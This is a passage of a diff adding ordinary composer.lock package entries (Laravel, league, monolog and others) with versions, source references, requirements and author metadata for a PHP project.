"https://github.com/laravel/framework" + }, + "time": "2026-07-14T14:25:37+00:00" + }, + { + "name": "laravel/prompts", + "version": "v0.3.21", + "source": { + "type": "git", + "url": "https://github.com/laravel/prompts.git", + "reference": "7753c65c281c2550c7c183f14e18062073b7d821" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/laravel/prompts/zipball/7753c65c281c2550c7c183f14e18062073b7d821", + "reference": "7753c65c281c2550c7c183f14e18062073b7d821", + "shasum": "" + }, + "require": { + "composer-runtime-api": "^2.2", + "ext-mbstring": "*", + "php": "^8.1", + "symfony/console": "^6.2|^7.0|^8.0" + }, + "conflict": { + "illuminate/console": ">=10.17.0 <10.25.0", + "laravel/framework": ">=10.17.0 <10.25.0" + }, + "require-dev": { + "illuminate/collections": "^10.0|^11.0|^12.0|^13.0", + "mockery/mockery": "^1.5", + "pestphp/pest": "^2.3|^3.4|^4.0", + "phpstan/phpstan": "^1.12.28", + "phpstan/phpstan-mockery": "^1.1.3" + }, + "suggest": { + "ext-pcntl": "Required for the spinner to be animated." + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "0.3.x-dev" + } + }, + "autoload": { + "files": [ + "src/helpers.php" + ], + "psr-4": { + "Laravel\\Prompts\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "Add beautiful and user-friendly forms to your command-line applications.", + "support": { + "issues": "https://github.com/laravel/prompts/issues", + "source": "https://github.com/laravel/prompts/tree/v0.3.21" + }, + "time": "2026-06-26T00:11:25+00:00" + }, + { + "name": "laravel/sanctum", + "version": "v4.3.3", + "source": { + "type": "git", + "url": "https://github.com/laravel/sanctum.git", + "reference": "fee27a573d1a013af3721d86153a65e0b11927e6" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/laravel/sanctum/zipball/fee27a573d1a013af3721d86153a65e0b11927e6", + "reference": "fee27a573d1a013af3721d86153a65e0b11927e6", + "shasum": "" + }, + "require": { + "ext-json": "*", + "illuminate/console": "^11.0|^12.0|^13.0", + "illuminate/contracts": "^11.0|^12.0|^13.0", + "illuminate/database": "^11.0|^12.0|^13.0", + "illuminate/support": "^11.0|^12.0|^13.0", + "php": "^8.2", + "symfony/console": "^7.0|^8.0" + }, + "require-dev": { + "mockery/mockery": "^1.6", + "orchestra/testbench": "^9.15|^10.8|^11.0", + "phpstan/phpstan": "^1.10" + }, + "type": "library", + "extra": { + "laravel": { + "providers": [ + "Laravel\\Sanctum\\SanctumServiceProvider" + ] + } + }, + "autoload": { + "psr-4": { + "Laravel\\Sanctum\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Taylor Otwell", + "email": "taylor@laravel.com" + } + ], + "description": "Laravel Sanctum provides a featherweight authentication system for SPAs and simple APIs.", + "keywords": [ + "auth", + "laravel", + "sanctum" + ], + "support": { + "issues": "https://github.com/laravel/sanctum/issues", + "source": "https://github.com/laravel/sanctum" + }, + "time": "2026-06-23T18:26:55+00:00" + }, + { + "name": "laravel/serializable-closure", + "version": "v2.0.15", + "source": { + "type": "git", + "url": "https://github.com/laravel/serializable-closure.git", + "reference": "dccd8bcb851bb03fcc005df650b708b57cc52661" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/laravel/serializable-closure/zipball/dccd8bcb851bb03fcc005df650b708b57cc52661", + "reference": "dccd8bcb851bb03fcc005df650b708b57cc52661", + "shasum": "" + }, + "require": { + "php": "^8.1" + }, + "require-dev": { + "illuminate/support": "^10.0|^11.0|^12.0|^13.0", + "nesbot/carbon": "^2.67|^3.0", + "pestphp/pest": "^2.36|^3.0|^4.0", + "phpstan/phpstan": "^2.0", + "symfony/var-dumper": "^6.2.0|^7.0.0|^8.0.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.x-dev" + } + }, + "autoload": { + "psr-4": { + "Laravel\\SerializableClosure\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Taylor Otwell", + "email": "taylor@laravel.com" + }, + { + "name": "Nuno Maduro", + "email": "nuno@laravel.com" + } + ], + "description": "Laravel Serializable Closure provides an easy and secure way to serialize closures in PHP.", + "keywords": [ + "closure", + "laravel", + "serializable" + ], + "support": { + "issues": "https://github.com/laravel/serializable-closure/issues", + "source": "https://github.com/laravel/serializable-closure" + }, + "time": "2026-07-21T16:49:22+00:00" + }, + { + "name": "laravel/socialite", + "version": "v5.29.0", + "source": { + "type": "git", + "url": "https://github.com/laravel/socialite.git", + "reference": "cd343a5841f02292af119ee607edc71300c9ae4f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/laravel/socialite/zipball/cd343a5841f02292af119ee607edc71300c9ae4f", + "reference": "cd343a5841f02292af119ee607edc71300c9ae4f", + "shasum": "" + }, + "require": { + "ext-json": "*", + "firebase/php-jwt": "^6.4|^7.0", + "guzzlehttp/guzzle": "^6.0|^7.0", + "illuminate/contracts": "^6.0|^7.0|^8.0|^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/http": "^6.0|^7.0|^8.0|^9.0|^10.0|^11.0|^12.0|^13.0", + "illuminate/support": "^6.0|^7.0|^8.0|^9.0|^10.0|^11.0|^12.0|^13.0", + "league/oauth1-client": "^1.11", + "php": "^7.2|^8.0", + "phpseclib/phpseclib": "^3.0" + }, + "require-dev": { + "mockery/mockery": "^1.0", + "orchestra/testbench": "^4.18|^5.20|^6.47|^7.55|^8.36|^9.15|^10.8|^11.0", + "phpstan/phpstan": "^1.12.23", + "phpunit/phpunit": "^8.0|^9.3|^10.4|^11.5|^12.0" + }, + "type": "library", + "extra": { + "laravel": { + "aliases": { + "Socialite": "Laravel\\Socialite\\Facades\\Socialite" + }, + "providers": [ + "Laravel\\Socialite\\SocialiteServiceProvider" + ] + }, + "branch-alias": { + "dev-master": "5.x-dev" + } + }, + "autoload": { + "psr-4": { + "Laravel\\Socialite\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Taylor Otwell", + "email": "taylor@laravel.com" + } + ], + "description": "Laravel wrapper around OAuth 1 & OAuth 2 libraries.", + "homepage": "https://laravel.com", + "keywords": [ + "laravel", + "oauth" + ], + "support": { + "issues": "https://github.com/laravel/socialite/issues", + "source": "https://github.com/laravel/socialite" + }, + "time": "2026-07-01T13:50:23+00:00" + }, + { + "name": "laravel/tinker", + "version": "v2.11.1", + "source": { + "type": "git", + "url": "https://github.com/laravel/tinker.git", + "reference": "c9f80cc835649b5c1842898fb043f8cc098dd741" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/laravel/tinker/zipball/c9f80cc835649b5c1842898fb043f8cc098dd741", + "reference": "c9f80cc835649b5c1842898fb043f8cc098dd741", + "shasum": "" + }, + "require": { + "illuminate/console": "^6.0|^7.0|^8.0|^9.0|^10.0|^11.0|^12.0", + "illuminate/contracts": "^6.0|^7.0|^8.0|^9.0|^10.0|^11.0|^12.0", + "illuminate/support": "^6.0|^7.0|^8.0|^9.0|^10.0|^11.0|^12.0", + "php": "^7.2.5|^8.0", + "psy/psysh": "^0.11.1|^0.12.0", + "symfony/var-dumper": "^4.3.4|^5.0|^6.0|^7.0|^8.0" + }, + "require-dev": { + "mockery/mockery": "~1.3.3|^1.4.2", + "phpstan/phpstan": "^1.10", + "phpunit/phpunit": "^8.5.8|^9.3.3|^10.0" + }, + "suggest": { + "illuminate/database": "The Illuminate Database package (^6.0|^7.0|^8.0|^9.0|^10.0|^11.0|^12.0)." + }, + "type": "library", + "extra": { + "laravel": { + "providers": [ + "Laravel\\Tinker\\TinkerServiceProvider" + ] + } + }, + "autoload": { + "psr-4": { + "Laravel\\Tinker\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Taylor Otwell", + "email": "taylor@laravel.com" + } + ], + "description": "Powerful REPL for the Laravel framework.", + "keywords": [ + "REPL", + "Tinker", + "laravel", + "psysh" + ], + "support": { + "issues": "https://github.com/laravel/tinker/issues", + "source": "https://github.com/laravel/tinker/tree/v2.11.1" + }, + "time": "2026-02-06T14:12:35+00:00" + }, + { + "name": "league/color-extractor", + "version": "0.3.2", + "source": { + "type": "git", + "url": "https://github.com/thephpleague/color-extractor.git", + "reference": "837086ec60f50c84c611c613963e4ad2e2aec806" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/thephpleague/color-extractor/zipball/837086ec60f50c84c611c613963e4ad2e2aec806", + "reference": "837086ec60f50c84c611c613963e4ad2e2aec806", + "shasum": "" + }, + "require": { + "ext-gd": "*", + "php": ">=5.4.0" + }, + "replace": { + "matthecat/colorextractor": "*" + }, + "require-dev": { + "friendsofphp/php-cs-fixer": "~2", + "phpunit/phpunit": "~5" + }, + "type": "library", + "autoload": { + "psr-4": { + "": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Mathieu Lechat", + "email": "math.lechat@gmail.com", + "homepage": "http://matthecat.com", + "role": "Developer" + } + ], + "description": "Extract colors from an image as a human would do.", + "homepage": "https://github.com/thephpleague/color-extractor", + "keywords": [ + "color", + "extract", + "human", + "image", + "palette" + ], + "support": { + "issues": "https://github.com/thephpleague/color-extractor/issues", + "source": "https://github.com/thephpleague/color-extractor/tree/master" + }, + "time": "2016-12-15T09:30:02+00:00" + }, + { + "name": "league/commonmark", + "version": "2.9.0", + "source": { + "type": "git", + "url": "https://github.com/thephpleague/commonmark.git", + "reference": "5703d83ba3da3b2e356a5fedc848ed6d8ffb6529" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/thephpleague/commonmark/zipball/5703d83ba3da3b2e356a5fedc848ed6d8ffb6529", + "reference": "5703d83ba3da3b2e356a5fedc848ed6d8ffb6529", + "shasum": "" + }, + "require": { + "ext-mbstring": "*", + "league/config": "^1.1.1", + "php": "^7.4 || ^8.0", + "psr/event-dispatcher": "^1.0", + "symfony/deprecation-contracts": "^2.1 || ^3.0", + "symfony/polyfill-php80": "^1.16" + }, + "require-dev": { + "cebe/markdown": "^1.0", + "commonmark/cmark": "0.31.1", + "commonmark/commonmark.js": "0.31.1", + "composer/package-versions-deprecated": "^1.8", + "embed/embed": "^4.4", + "erusev/parsedown": "^1.0", + "ext-json": "*", + "github/gfm": "0.29.0", + "michelf/php-markdown": "^1.4 || ^2.0", + "nyholm/psr7": "^1.5", + "phpstan/phpstan": "^2.0.0", + "phpunit/phpunit": "^9.5.21 || ^10.5.9 || ^11.0.0 || ^12.0.0 || ^13.0.0", + "scrutinizer/ocular": "^1.8.1", + "symfony/finder": "^5.3 | ^6.0 | ^7.0 || ^8.0", + "symfony/process": "^5.4 | ^6.0 | ^7.0 || ^8.0", + "symfony/yaml": "^2.3 | ^3.0 | ^4.0 | ^5.0 | ^6.0 | ^7.0 || ^8.0", + "unleashedtech/php-coding-standard": "^3.1.1", + "vimeo/psalm": "^4.24.0 || ^5.0.0 || ^6.0.0" + }, + "suggest": { + "symfony/yaml": "v2.3+ required if using the Front Matter extension" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "2.10-dev" + } + }, + "autoload": { + "psr-4": { + "League\\CommonMark\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Colin O'Dell", + "email": "colinodell@gmail.com", + "homepage": "https://www.colinodell.com", + "role": "Lead Developer" + } + ], + "description": "Highly-extensible PHP Markdown parser which fully supports the CommonMark spec and GitHub-Flavored Markdown (GFM)", + "homepage": "https://commonmark.thephpleague.com", + "keywords": [ + "commonmark", + "flavored", + "gfm", + "github", + "github-flavored", + "markdown", + "md", + "parser" + ], + "support": { + "docs": "https://commonmark.thephpleague.com/", + "forum": "https://github.com/thephpleague/commonmark/discussions", + "issues": "https://github.com/thephpleague/commonmark/issues", + "rss": "https://github.com/thephpleague/commonmark/releases.atom", + "source": "https://github.com/thephpleague/commonmark" + }, + "funding": [ + { + "url": "https://www.colinodell.com/sponsor", + "type": "custom" + }, + { + "url": "https://www.paypal.me/colinpodell/10.00", + "type": "custom" + }, + { + "url": "https://github.com/colinodell", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/league/commonmark", + "type": "tidelift" + } + ], + "time": "2026-08-03T13:42:31+00:00" + }, + { + "name": "league/config", + "version": "v1.2.0", + "source": { + "type": "git", + "url": "https://github.com/thephpleague/config.git", + "reference": "754b3604fb2984c71f4af4a9cbe7b57f346ec1f3" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/thephpleague/config/zipball/754b3604fb2984c71f4af4a9cbe7b57f346ec1f3", + "reference": "754b3604fb2984c71f4af4a9cbe7b57f346ec1f3", + "shasum": "" + }, + "require": { + "dflydev/dot-access-data": "^3.0.1", + "nette/schema": "^1.2", + "php": "^7.4 || ^8.0" + }, + "require-dev": { + "phpstan/phpstan": "^1.8.2", + "phpunit/phpunit": "^9.5.5", + "scrutinizer/ocular": "^1.8.1", + "unleashedtech/php-coding-standard": "^3.1", + "vimeo/psalm": "^4.7.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "1.2-dev" + } + }, + "autoload": { + "psr-4": { + "League\\Config\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Colin O'Dell", + "email": "colinodell@gmail.com", + "homepage": "https://www.colinodell.com", + "role": "Lead Developer" + } + ], + "description": "Define configuration arrays with strict schemas and access values with dot notation", + "homepage": "https://config.thephpleague.com", + "keywords": [ + "array", + "config", + "configuration", + "dot", + "dot-access", + "nested", + "schema" + ], + "support": { + "docs": "https://config.thephpleague.com/", + "issues": "https://github.com/thephpleague/config/issues", + "rss": "https://github.com/thephpleague/config/releases.atom", + "source": "https://github.com/thephpleague/config" + }, + "funding": [ + { + "url": "https://www.colinodell.com/sponsor", + "type": "custom" + }, + { + "url": "https://www.paypal.me/colinpodell/10.00", + "type": "custom" + }, + { + "url": "https://github.com/colinodell", + "type": "github" + } + ], + "time": "2022-12-11T20:36:23+00:00" + }, + { + "name": "league/flysystem", + "version": "3.35.2", + "source": { + "type": "git", + "url": "https://github.com/thephpleague/flysystem.git", + "reference": "b277b5dc3d56650b68904117124e79c851e12376" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/thephpleague/flysystem/zipball/b277b5dc3d56650b68904117124e79c851e12376", + "reference": "b277b5dc3d56650b68904117124e79c851e12376", + "shasum": "" + }, + "require": { + "league/flysystem-local": "^3.0.0", + "league/mime-type-detection": "^1.0.0", + "php": "^8.0.2" + }, + "conflict": { + "async-aws/core": "<1.19.0", + "async-aws/s3": "<1.14.0", + "aws/aws-sdk-php": "3.209.31 || 3.210.0", + "guzzlehttp/guzzle": "<7.0", + "guzzlehttp/ringphp": "<1.1.1", + "phpseclib/phpseclib": "3.0.15", + "symfony/http-client": "<5.2" + }, + "require-dev": { + "async-aws/s3": "^1.5 || ^2.0", + "async-aws/simple-s3": "^1.1 || ^2.0", + "aws/aws-sdk-php": "^3.295.10", + "composer/semver": "^3.0", + "ext-fileinfo": "*", + "ext-ftp": "*", + "ext-mongodb": "^1.3|^2", + "ext-zip": "*", + "friendsofphp/php-cs-fixer": "^3.5", + "google/cloud-storage": "^1.23", + "guzzlehttp/psr7": "^2.6", + "microsoft/azure-storage-blob": "^1.1", + "mongodb/mongodb": "^1.2|^2", + "phpseclib/phpseclib": "^3.0.36", + "phpstan/phpstan": "^1.10", + "phpunit/phpunit": "^9.5.11|^10.0", + "sabre/dav": "^4.6.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "League\\Flysystem\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Frank de Jonge", + "email": "info@frankdejonge.nl" + } + ], + "description": "File storage abstraction for PHP", + "keywords": [ + "WebDAV", + "aws", + "cloud", + "file", + "files", + "filesystem", + "filesystems", + "ftp", + "s3", + "sftp", + "storage" + ], + "support": { + "issues": "https://github.com/thephpleague/flysystem/issues", + "source": "https://github.com/thephpleague/flysystem/tree/3.35.2" + }, + "time": "2026-07-06T14:42:07+00:00" + }, + { + "name": "league/flysystem-aws-s3-v3", + "version": "3.35.2", + "source": { + "type": "git", + "url": "https://github.com/thephpleague/flysystem-aws-s3-v3.git", + "reference": "8475ef9adfc6498b85469e2abec6fe3118cd08c4" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/thephpleague/flysystem-aws-s3-v3/zipball/8475ef9adfc6498b85469e2abec6fe3118cd08c4", + "reference": "8475ef9adfc6498b85469e2abec6fe3118cd08c4", + "shasum": "" + }, + "require": { + "aws/aws-sdk-php": "^3.371.5", + "league/flysystem": "^3.10.0", + "league/mime-type-detection": "^1.0.0", + "php": "^8.0.2" + }, + "conflict": { + "guzzlehttp/guzzle": "<7.0", + "guzzlehttp/ringphp": "<1.1.1" + }, + "type": "library", + "autoload": { + "psr-4": { + "League\\Flysystem\\AwsS3V3\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Frank de Jonge", + "email": "info@frankdejonge.nl" + } + ], + "description": "AWS S3 filesystem adapter for Flysystem.", + "keywords": [ + "Flysystem", + "aws", + "file", + "files", + "filesystem", + "s3", + "storage" + ], + "support": { + "source": "https://github.com/thephpleague/flysystem-aws-s3-v3/tree/3.35.2" + }, + "time": "2026-07-01T23:25:49+00:00" + }, + { + "name": "league/flysystem-local", + "version": "3.31.0", + "source": { + "type": "git", + "url": "https://github.com/thephpleague/flysystem-local.git", + "reference": "2f669db18a4c20c755c2bb7d3a7b0b2340488079" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/thephpleague/flysystem-local/zipball/2f669db18a4c20c755c2bb7d3a7b0b2340488079", + "reference": "2f669db18a4c20c755c2bb7d3a7b0b2340488079", + "shasum": "" + }, + "require": { + "ext-fileinfo": "*", + "league/flysystem": "^3.0.0", + "league/mime-type-detection": "^1.0.0", + "php": "^8.0.2" + }, + "type": "library", + "autoload": { + "psr-4": { + "League\\Flysystem\\Local\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Frank de Jonge", + "email": "info@frankdejonge.nl" + } + ], + "description": "Local filesystem adapter for Flysystem.", + "keywords": [ + "Flysystem", + "file", + "files", + "filesystem", + "local" + ], + "support": { + "source": "https://github.com/thephpleague/flysystem-local/tree/3.31.0" + }, + "time": "2026-01-23T15:30:45+00:00" + }, + { + "name": "league/mime-type-detection", + "version": "1.17.0", + "source": { + "type": "git", + "url": "https://github.com/thephpleague/mime-type-detection.git", + "reference": "f5f47eff7c48ed1003069a2ca67f316fb4021c76" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/thephpleague/mime-type-detection/zipball/f5f47eff7c48ed1003069a2ca67f316fb4021c76", + "reference": "f5f47eff7c48ed1003069a2ca67f316fb4021c76", + "shasum": "" + }, + "require": { + "ext-fileinfo": "*", + "php": "^7.4 || ^8.0" + }, + "require-dev": { + "friendsofphp/php-cs-fixer": "^3.2", + "phpstan/phpstan": "^0.12.68", + "phpunit/phpunit": "^8.5.8 || ^9.3 || ^10.0 || ^11.0 || ^12.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "League\\MimeTypeDetection\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Frank de Jonge", + "email": "info@frankdejonge.nl" + } + ], + "description": "Mime-type detection for Flysystem", + "support": { + "issues": "https://github.com/thephpleague/mime-type-detection/issues", + "source": "https://github.com/thephpleague/mime-type-detection/tree/1.17.0" + }, + "funding": [ + { + "url": "https://github.com/frankdejonge", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/league/flysystem", + "type": "tidelift" + } + ], + "time": "2026-07-09T11:49:27+00:00" + }, + { + "name": "league/oauth1-client", + "version": "v1.11.0", + "source": { + "type": "git", + "url": "https://github.com/thephpleague/oauth1-client.git", + "reference": "f9c94b088837eb1aae1ad7c4f23eb65cc6993055" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/thephpleague/oauth1-client/zipball/f9c94b088837eb1aae1ad7c4f23eb65cc6993055", + "reference": "f9c94b088837eb1aae1ad7c4f23eb65cc6993055", + "shasum": "" + }, + "require": { + "ext-json": "*", + "ext-openssl": "*", + "guzzlehttp/guzzle": "^6.0|^7.0", + "guzzlehttp/psr7": "^1.7|^2.0", + "php": ">=7.1||>=8.0" + }, + "require-dev": { + "ext-simplexml": "*", + "friendsofphp/php-cs-fixer": "^2.17", + "mockery/mockery": "^1.3.3", + "phpstan/phpstan": "^0.12.42", + "phpunit/phpunit": "^7.5||9.5" + }, + "suggest": { + "ext-simplexml": "For decoding XML-based responses." + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0-dev", + "dev-develop": "2.0-dev" + } + }, + "autoload": { + "psr-4": { + "League\\OAuth1\\Client\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Ben Corlett", + "email": "bencorlett@me.com", + "homepage": "http://www.webcomm.com.au", + "role": "Developer" + } + ], + "description": "OAuth 1.0 Client Library", + "keywords": [ + "Authentication", + "SSO", + "authorization", + "bitbucket", + "identity", + "idp", + "oauth", + "oauth1", + "single sign on", + "trello", + "tumblr", + "twitter" + ], + "support": { + "issues": "https://github.com/thephpleague/oauth1-client/issues", + "source": "https://github.com/thephpleague/oauth1-client/tree/v1.11.0" + }, + "time": "2024-12-10T19:59:05+00:00" + }, + { + "name": "league/uri", + "version": "7.8.1", + "source": { + "type": "git", + "url": "https://github.com/thephpleague/uri.git", + "reference": "08cf38e3924d4f56238125547b5720496fac8fd4" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/thephpleague/uri/zipball/08cf38e3924d4f56238125547b5720496fac8fd4", + "reference": "08cf38e3924d4f56238125547b5720496fac8fd4", + "shasum": "" + }, + "require": { + "league/uri-interfaces": "^7.8.1", + "php": "^8.1", + "psr/http-factory": "^1" + }, + "conflict": { + "league/uri-schemes": "^1.0" + }, + "suggest": { + "ext-bcmath": "to improve IPV4 host parsing", + "ext-dom": "to convert the URI into an HTML anchor tag", + "ext-fileinfo": "to create Data URI from file contennts", + "ext-gmp": "to improve IPV4 host parsing", + "ext-intl": "to handle IDN host with the best performance", + "ext-uri": "to use the PHP native URI class", + "jeremykendall/php-domain-parser": "to further parse the URI host and resolve its Public Suffix and Top Level Domain", + "league/uri-components": "to provide additional tools to manipulate URI objects components", + "league/uri-polyfill": "to backport the PHP URI extension for older versions of PHP", + "php-64bit": "to improve IPV4 host parsing", + "rowbot/url": "to handle URLs using the WHATWG URL Living Standard specification", + "symfony/polyfill-intl-idn": "to handle IDN host via the Symfony polyfill if ext-intl is not present" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "7.x-dev" + } + }, + "autoload": { + "psr-4": { + "League\\Uri\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Ignace Nyamagana Butera", + "email": "nyamsprod@gmail.com", + "homepage": "https://nyamsprod.com" + } + ], + "description": "URI manipulation library", + "homepage": "https://uri.thephpleague.com", + "keywords": [ + "URN", + "data-uri", + "file-uri", + "ftp", + "hostname", + "http", + "https", + "middleware", + "parse_str", + "parse_url", + "psr-7", + "query-string", + "querystring", + "rfc2141", + "rfc3986", + "rfc3987", + "rfc6570", + "rfc8141", + "uri", + "uri-template", + "url", + "ws" + ], + "support": { + "docs": "https://uri.thephpleague.com", + "forum": "https://thephpleague.slack.com", + "issues": "https://github.com/thephpleague/uri-src/issues", + "source": "https://github.com/thephpleague/uri/tree/7.8.1" + }, + "funding": [ + { + "url": "https://github.com/sponsors/nyamsprod", + "type": "github" + } + ], + "time": "2026-03-15T20:22:25+00:00" + }, + { + "name": "league/uri-interfaces", + "version": "7.8.1", + "source": { + "type": "git", + "url": "https://github.com/thephpleague/uri-interfaces.git", + "reference": "85d5c77c5d6d3af6c54db4a78246364908f3c928" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/thephpleague/uri-interfaces/zipball/85d5c77c5d6d3af6c54db4a78246364908f3c928", + "reference": "85d5c77c5d6d3af6c54db4a78246364908f3c928", + "shasum": "" + }, + "require": { + "ext-filter": "*", + "php": "^8.1", + "psr/http-message": "^1.1 || ^2.0" + }, + "suggest": { + "ext-bcmath": "to improve IPV4 host parsing", + "ext-gmp": "to improve IPV4 host parsing", + "ext-intl": "to handle IDN host with the best performance", + "php-64bit": "to improve IPV4 host parsing", + "rowbot/url": "to handle URLs using the WHATWG URL Living Standard specification", + "symfony/polyfill-intl-idn": "to handle IDN host via the Symfony polyfill if ext-intl is not present" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "7.x-dev" + } + }, + "autoload": { + "psr-4": { + "League\\Uri\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Ignace Nyamagana Butera", + "email": "nyamsprod@gmail.com", + "homepage": "https://nyamsprod.com" + } + ], + "description": "Common tools for parsing and resolving RFC3987/RFC3986 URI", + "homepage": "https://uri.thephpleague.com", + "keywords": [ + "data-uri", + "file-uri", + "ftp", + "hostname", + "http", + "https", + "parse_str", + "parse_url", + "psr-7", + "query-string", + "querystring", + "rfc3986", + "rfc3987", + "rfc6570", + "uri", + "url", + "ws" + ], + "support": { + "docs": "https://uri.thephpleague.com", + "forum": "https://thephpleague.slack.com", + "issues": "https://github.com/thephpleague/uri-src/issues", + "source": "https://github.com/thephpleague/uri-interfaces/tree/7.8.1" + }, + "funding": [ + { + "url": "https://github.com/sponsors/nyamsprod", + "type": "github" + } + ], + "time": "2026-03-08T20:05:35+00:00" + }, + { + "name": "monolog/monolog", + "version": "3.10.0", + "source": { + "type": "git", + "url": "https://github.com/Seldaek/monolog.git", + "reference": "b321dd6749f0bf7189444158a3ce785cc16d69b0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Seldaek/monolog/zipball/b321dd6749f0bf7189444158a3ce785cc16d69b0", + "reference": "b321dd6749f0bf7189444158a3ce785cc16d69b0", + "shasum": "" + }, + "require": { + "php": ">=8.1", + "psr/log": "^2.0 || ^3.0" + }, + "provide": { + "psr/log-implementation": "3.0.0" + }, + "require-dev": { + "aws/aws-sdk-php": "^3.0", + "doctrine/couchdb": "~1.0@dev", + "elasticsearch/elasticsearch": "^7 || ^8", + "ext-json": "*", + "graylog2/gelf-php": "^1.4.2 || ^2.0", + "guzzlehttp/guzzle": "^7.4.5", + "guzzlehttp/psr7": "^2.2", + "mongodb/mongodb": "^1.8 || ^2.0", + "php-amqplib/php-amqplib": "~2.4 || ^3", + "php-console/php-console": "^3.1.8", + "phpstan/phpstan": "^2", + "phpstan/phpstan-deprecation-rules": "^2", + "phpstan/phpstan-strict-rules": "^2", + "phpunit/phpunit": "^10.5.17 || ^11.0.7", + "predis/predis": "^1.1 || ^2", + "rollbar/rollbar": "^4.0", + "ruflin/elastica": "^7 || ^8", + "symfony/mailer": "^5.4 || ^6", + "symfony/mime": "^5.4 || ^6" + }, + "suggest": { + "aws/aws-sdk-php": "Allow sending log messages to AWS services like DynamoDB", + "doctrine/couchdb": "Allow sending log messages to a CouchDB server", + "elasticsearch/elasticsearch": "Allow sending log messages to an Elasticsearch server via official client", + "ext-amqp": "Allow sending log messages to an AMQP server (1.0+ required)", + "ext-curl": "Required to send log messages using the IFTTTHandler, the LogglyHandler, the SendGridHandler, the SlackWebhookHandler or the TelegramBotHandler", + "ext-mbstring": "Allow to work properly with unicode symbols", + "ext-mongodb": "Allow sending log messages to a MongoDB server (via driver)", + "ext-openssl": "Required to send log messages using SSL", + "ext-sockets": "Allow sending log messages to a Syslog server (via UDP driver)", + "graylog2/gelf-php": "Allow sending log messages to a GrayLog2 server", + "mongodb/mongodb": "Allow sending log messages to a MongoDB server (via library)", + "php-amqplib/php-amqplib": "Allow sending log messages to an AMQP server using php-amqplib", + "rollbar/rollbar": "Allow sending log messages to Rollbar", + "ruflin/elastica": "Allow sending log messages to an Elastic Search server" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "3.x-dev" + } + }, + "autoload": { + "psr-4": { + "Monolog\\": "src/Monolog" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Jordi Boggiano", + "email": "j.boggiano@seld.be", + "homepage": "https://seld.be" + } + ], + "description": "Sends your logs to files, sockets, inboxes, databases and various web services", + "homepage": "https://github.com/Seldaek/monolog", + "keywords": [ + "log", + "logging", + "psr-3" + ], + "support": { + "issues": "https://github.com/Seldaek/monolog/issues", + "source": "https://github.com/Seldaek/monolog/tree/3.10.0" + }, + "funding": [ + { + "url": "https://github.com/Seldaek", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/monolog/monolog", + "type": "tidelift" + } + ], + "time": "2026-01-02T08:56:05+00:00" + }, + { + "name": "mtdowling/jmespath.php", + "version": "2.9.2", + "source": { + "type": "git", + "url": "https://github.com/jmespath/jmespath.php.git", + "reference": "2157c5e50e813ec6a96c1eed3be7f64a20fb32a8" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/jmespath/jmespath.php/zipball/2157c5e50e813ec6a96c1eed3be7f64a20fb32a8", + "reference": "2157c5e50e813ec6a96c1eed3be7f64a20fb32a8", + "shasum": "" + }, + 